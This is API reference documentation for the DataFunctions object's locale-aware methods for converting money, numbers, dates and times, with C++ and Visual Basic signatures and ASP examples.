[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.Float

[Visual Basic] DataFunctions.ValidateFloat


IDataFunctions_4_0::ConvertMoneyStringToNumber Method [C++]

DataFunctions.ConvertMoneyStringToNumber Method [Visual Basic]

Use this method to convert a money string to a number, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertMoneyStringToNumber(
 VARIANT vtMoney,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertMoneyStringToNumber(
 vtMoney As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtMoney [C++]
[in] A VARIANT that contains a string representation of the monetary value to convert.
vtMoney [Visual Basic]
A Variant that contains a string representation of the monetary value to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted monetary value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an integer Variant that represents the value of the specified string in the base monetary unit of the specified locale; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

The ConvertMoneyStringToNumber method returns the value in the base monetary unit for a given locale. Thus, given a value in dollars, ConvertMoneyStringToNumber returns the number of cents in the dollar value.

Additionally, ConvertMoneyStringToNumber does not round values. For example, if you pass this method "123.009" the method returns 12300, not 12301.

This method returns a Variant of type long, not an OLE currency type.

In some cases, this method returns NULL when converting a string representation of monetary value to the currency Variant type for Swedish and Portuguese (Portugal) locales. To avoid this problem, use the Microsoft Visual Basic Scripting Edition (VBScript) function Replace(MoneyString, CurrencyDigitGroupingSymbol, "") to remove the currency digit grouping symbol from the money string prior to calling the method ConvertMoneyStringToNumber.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
Amount = "12000"
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertMoneyStringToNumber("34.095", myLocale)
Response.Write "USA: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertFloatString

[C++] IDataFunctions_4_0::ConvertNumberString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertFloatString

[Visual Basic] DataFunctions.ConvertNumberString


IDataFunctions_4_0::ConvertNumberString Method [C++]

DataFunctions.ConvertNumberString Method [Visual Basic]

Use this method to convert an integer represented as a string to an integer Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertNumberString(
 VARIANT vtNum,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertNumberString(
 vtNum As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtNum [C++]
[in] A VARIANT that contains a string representation of the number to convert.
vtNum [Visual Basic]
A Variant that contains a string representation of the number to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted number.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an integer Variant containing the converted number; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

The ConvertNumberString method is designed to accept only integers. Passing a floating-point number as the vtNum parameter results in an error. To convert floating-point numbers, use the ConvertFloatString method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
' Converts integer string using US and France locales
' vSourceInt is a variant containing an integer string
Dim Result
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertNumberString(vSourceInt , _
    myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertNumberString(vSourceInt , _
    myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertFloatString

[C++] IDataFunctions_4_0::Number

[C++] IDataFunctions_4_0::ValidateNumber

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertFloatString

[Visual Basic] DataFunctions.Number

[Visual Basic] DataFunctions.ValidateNumber


IDataFunctions_4_0::ConvertStringToCurrency Method [C++]

DataFunctions.ConvertStringToCurrency Method [Visual Basic]

Use this method to convert a string representation of a monetary value into a currency Variant, based on the specified locale and currency symbol.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertStringToCurrency(
 VARIANT vtMoneyString,
 VARIANT vtLocale,
 VARIANT vtCurrencySymbol,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertStringToCurrency(
 vtMoneyString As Variant,
 Optional vtLocale As Variant,
 Optional vtCurrencySymbol As Variant
) As Variant

Parameters

vtMoneyString [C++]
[in] A VARIANT that contains the currency string to convert.
vtMoneyString [Visual Basic]
A Variant that contains the currency string to convert.
vtLocale [C++]
[in, optional] A VARIANT that contains the locale to be used when converting the string to a currency VARIANT. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use when converting the string to a currency Variant. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtCurrencySymbol [C++]
[in, optional] A VARIANT that contains the currency symbol to expect when converting the currency string.
vtCurrencySymbol [Visual Basic]
A Variant that contains the currency symbol to expect when converting the currency string.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the converted monetary value. This will be set to NULL if the monetary value string is not valid.

Return Values

[C++] The parameter pvtRet returns the parsed value or NULL if the input monetary value is not parsable. The method returns a failed HRESULT upon critical error, such as receiving an invalid argument.

[Visual Basic] If this method completes successfully, it returns a Variant used to return the string representation of the converted monetary value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
' vtAmount is a string representation of a monetary value
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set to USA
myLocale = 1033
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertStringtoCurrency(vtAmount, _
    myLocale, "$")
Response.Write "USA: " & Result & "<P>"

%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::LocalizeCurrency

[C++] IDataFunctions_4_0::ConvertMoneyStringToNumber

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.LocalizeCurrency

[Visual Basic] DataFunctions.ConvertMoneyStringToNumber


IDataFunctions_4_0::ConvertTimeString Method [C++]

DataFunctions.ConvertTimeString Method [Visual Basic]

Use this method to convert a time string to a date Variant, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::ConvertTimeString(
 VARIANT vtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function ConvertTimeString(
 vtDate As Variant,
 vtLocale As Variant
) As Variant

Parameters

vtDate [C++]
[in] A VARIANT that specifies a string representation of the time to convert.
vtDate [Visual Basic]
A Variant that specifies a string representation of the time to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the converted time value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a date Variant that contains the time; otherwise, NULL is returned. Additionally, if the string representation contains a date, ConvertTimeString returns NULL.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
' vtTimeString is a string representation of a time value
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set to USA
myLocale = 1033
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.ConvertTimeString(vtTimeString , myLocale)
Response.Write "USA: " & Result & "<P>"

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::Time

[C++] IDataFunctions_4_0::ValidateDateTime

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.Time

[Visual Basic] DataFunctions.ValidateDateTime


IDataFunctions_4_0::Date Method [C++]

DataFunctions.Date Method [Visual Basic]

Use this method to convert a date Variant to a string representation of the specified date, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::Date(
 DATE dtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Date(
 dtDate As Date,
 vtLocale As Variant
) As Variant

Parameters

dtDate [C++]
[in] A DATE VARIANT that contains the date to format.
dtDate [Visual Basic]
A Date Variant that contains the date to format.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the date to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the date to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the date value formatted as a string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the date value formatted as a string; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result, vtDateVar
' vtDateVar is a date variant containing a valid date
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Date(vtDateVar)
Response.Write "USA: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::DateTime

[C++] IDataFunctions_4_0::ValidateDateTime

[C++] IDataFunctions_4_0::ConvertDateString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.DateTime

[Visual Basic] DataFunctions.ValidateDateTime

[Visual Basic] DataFunctions.ConvertDateString


IDataFunctions_4_0::DateTime Method [C++]

DataFunctions.DateTime Method [Visual Basic]

Use this method to convert a date Variant to a string representation of the specified date value based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::DateTime(
 DATE dtDate,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function DateTime(
 dtDate As Date,
 vtLocale As Variant
) As Variant

Parameters

dtDate [C++]
[in] A DATE that contains the date/time value to convert.
dtDate [Visual Basic]
A Date that contains the date/time value to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the Date Variant to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the Date Variant to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the specified date/time value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the string representation of the specified date/time value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result, vtDateVar
' vtDateVar is a date variant containing a valid date time value
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.DateTime(vtDateVar)
Response.Write "USA: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::Date

[C++] IDataFunctions_4_0::ValidateDateTime

[C++] IDataFunctions_4_0::Time

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.Date

[Visual Basic] DataFunctions.ValidateDateTime

[Visual Basic] Page.RequestTime


IDataFunctions_4_0::Float Method [C++]

DataFunctions.Float Method [Visual Basic]

Use this method to convert a number stored in a double to a string representation of that number, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::Float(
 double fNumber,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Float(
 fNumber As Double,
 vtLocale As Variant
) As Variant

Parameters

fNumber [C++]
[in] A double (8-byte floating point number) that contains the floating-point number to convert.
fNumber [Visual Basic]
A Double that contains the floating-point number to convert.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the floating-point number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the floating-point number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the specified floating-point number.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the string representation of the specified floating-point number; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
Amount = "12000"
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
myInputFloat = 100.00010
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Float(myInputFloat, myLocale,True, False)
Response.Write "USA, No Rounding, With Trailing: " & Result & "<P>"
Result = MSCSDataFunctions.Float(myInputFloat, myLocale,True, True)
Response.Write "USA, No Rounding, Trim Trailing: " & Result & "<P>"
Result = MSCSDataFunctions.Float(myInputFloat, myLocale,False, False)
Response.Write "USA, Rounding, With Trailing: " & Result & "<P>"
Result = MSCSDataFunctions.Float(myInputFloat, myLocale,False, True)
Response.Write "USA, Rounding, Trim Trailing: " & Result & "<P>"
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ValidateFloat

[C++] IDataFunctions_4_0::ConvertFloatString

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ValidateFloat

[Visual Basic] DataFunctions.ConvertFloatString


IDataFunctions_4_0::GetLocaleInfo Method [C++]

DataFunctions.GetLocaleInfo Method [Visual Basic]

Use this method to get information on the specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::GetLocaleInfo(
 long vtInfo,
 VARIANT vtLocale,
 VARIANT* pvarRet
);
[Visual Basic]
Function GetLocaleInfo(
 vtInfo As Long,
 vtLocale As Variant
) As Variant

Parameters

vtInfo [C++]
[in] A long that specifies the type of locale information to return in the pvarRet parameter. This value must map to one of the LCTYPE constants. For information about these constants, see the Win32 SDK Help.
vtInfo [Visual Basic]
A Long that indicates the type of locale information to return. This value must map to one of the LCTYPE constants. For information about these constants, see the Win32 SDK Help.
vtLocale [C++]
[in] A VARIANT that identifies the locale for which to return information. If this VARIANT is empty (VT_EMPTY) or null (VT_NULL), the method returns information for the locale specified by the most recent call to put_Locale.
vtLocale [Visual Basic]
A Variant that identifies the locale for which to return information. If this Variant is empty (VT_EMPTY) or null (VT_NULL), the method returns information for the locale specified by the most recent call to put_Locale.
pvarRet [C++]
[out, retval] A pointer to a VARIANT used to return the requested locale information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains the requested locale information; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

The Locale property stores a number value that indicates the default locale to be used by the DataFunctions methods to format date, time, money, and number information. For those DataFunctions methods take a locale value for a parameter, if that value is not supplied, the value of this property is used.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

Dim vtResult, lInfo
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set Locale to USA
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
vtResult = MSCSDataFunctions.GetLocaleInfo(lInfo, myLocale)

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale


IDataFunctions_4_0::GetLocaleList Method [C++]

DataFunctions.GetLocaleList Method [Visual Basic]

Use this method to retrieve a SimpleList object that contains the locales available on the computer.

Definition

[C++]
HRESULT IDataFunctions_4_0::GetLocaleList(
 VARIANT* pvarList
);
[Visual Basic]
Function GetLocaleList() As Variant

Parameters

pvarList [C++]
[out, retval] A pointer to a VARIANT used to return a SimpleList object that specifies the locales available on the computer.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an object Variant that references a SimpleList object that specifies the locales available on the computer.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale


IDataFunctions_4_0::LocalizeCurrency Method [C++]

DataFunctions.LocalizeCurrency Method [Visual Basic]

Use this method to retrieve a string representation of a currency value formatted to a specified locale and currency symbol.

Definition

[C++]
HRESULT IDataFunctions_4_0::LocalizeCurrency(
 VARIANT cyCurrency,
 VARIANT vtLocale,
 VARIANT vtCurrencySymbol,
 VARIANT* pvtRet
);
[Visual Basic]
Function LocalizeCurrency(
 cyCurrency As Variant,
 Optional vtLocale As Variant,
 Optional vtCurrencySymbol As Variant
) As Variant

Parameters

cyCurrency [C++]
[in] A currency VARIANT that contains the value to format as a string.
cyCurrency [Visual Basic]
A currency Variant that contains the value to format as a string.
vtLocale [C++]
[in, optional] A VARIANT that contains the locale to use when formatting the string.
vtLocale [Visual Basic]
A Variant that contains the locale to use when formatting the string.
vtCurrencySymbol [C++]
[in, optional] A VARIANT that contains the currency symbol to use when formatting the string.
vtCurrencySymbol [Visual Basic]
[in, optional] A Variant that contains the currency symbol to use when formatting the string.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the currency value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the formatted string.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
' vtAmount is a Currency Variant
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
' Set to USA
myLocale = 1033
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.LocalizeCurrency(vtAmount, myLocale, "$")
Response.Write "USA: " & Result & "<P>"

' Set to Minbar
myLocale = 1036
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.LocalizeCurrency(vtAmount, myLocale, "MB")
Response.Write "Minbar: " & Result & "<P>"

%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertStringToCurrency

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertStringToCurrency


IDataFunctions_4_0::Money Method [C++]

DataFunctions.Money Method [Visual Basic]

Use this method to convert a long that contains a monetary value to an equivalent string representation, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::Money(
 long lMoney,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Money(
 lMoney As Long,
 vtLocale As Variant
) As Variant

Parameters

lMoney [C++]
[in] A long that contains the monetary value to convert to a string, specified in the base monetary unit of the locale used to perform the conversion. (This value is not an OLE currency type.)
lMoney [Visual Basic]
A Long that contains the monetary value to convert to a string, specified in the base monetary unit of the locale used to perform the conversion. (This value is not an OLE currency type.)
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the monetary value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the monetary value to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the resultant string.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a string Variant that contains a string representation of the specified monetary value; otherwise, NULL is returned.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter contains valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

<HTML>
<HEAD>
</HEAD>
<BODY>
<%
Dim Result
Dim Amount
' Amount is a long containing a monetary value in base currency units
' (base currency unit for US is cents)
Set MSCSDataFunctions = Server.CreateObject("Commerce.DataFunctions")
myLocale = "1036"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Money(Amount, myLocale)
Response.Write "France: " & Result & "<P>"
myLocale = "1033"
MSCSDataFunctions.Locale = myLocale
Result = MSCSDataFunctions.Money(Amount, myLocale)
Response.Write "USA: " & Result
%>
</BODY>
</HTML>

See Also

[C++] DataFunctions Object

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IDataFunctions_4_0::ConvertMoneyStringToNumber

[Visual Basic] DataFunctions Object

[Visual Basic] DataFunctions.Locale

[Visual Basic] DataFunctions.ConvertMoneyStringToNumber


IDataFunctions_4_0::Number Method [C++]

DataFunctions.Number Method [Visual Basic]

Use this method to convert a long integer to its equivalent string representation, based on the default or specified locale.

Definition

[C++]
HRESULT IDataFunctions_4_0::Number(
 long lNumber,
 VARIANT vtLocale,
 VARIANT* pvtRet
);
[Visual Basic]
Function Number(
 lNumber As Long,
 vtLocale As Variant
) As Variant

Parameters

lNumber [C++]
[in] A long that contains the number to convert to a string.
lNumber [Visual Basic]
A Long that contains the number to convert to a string.
vtLocale [C++]
[in] A VARIANT that specifies the locale to use to convert the number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
vtLocale [Visual Basic]
A Variant that specifies the locale to use to convert the number to a string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the string representation of the specified number.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the string representation of the specified number; otherwise, NULL is returned.

Error Values
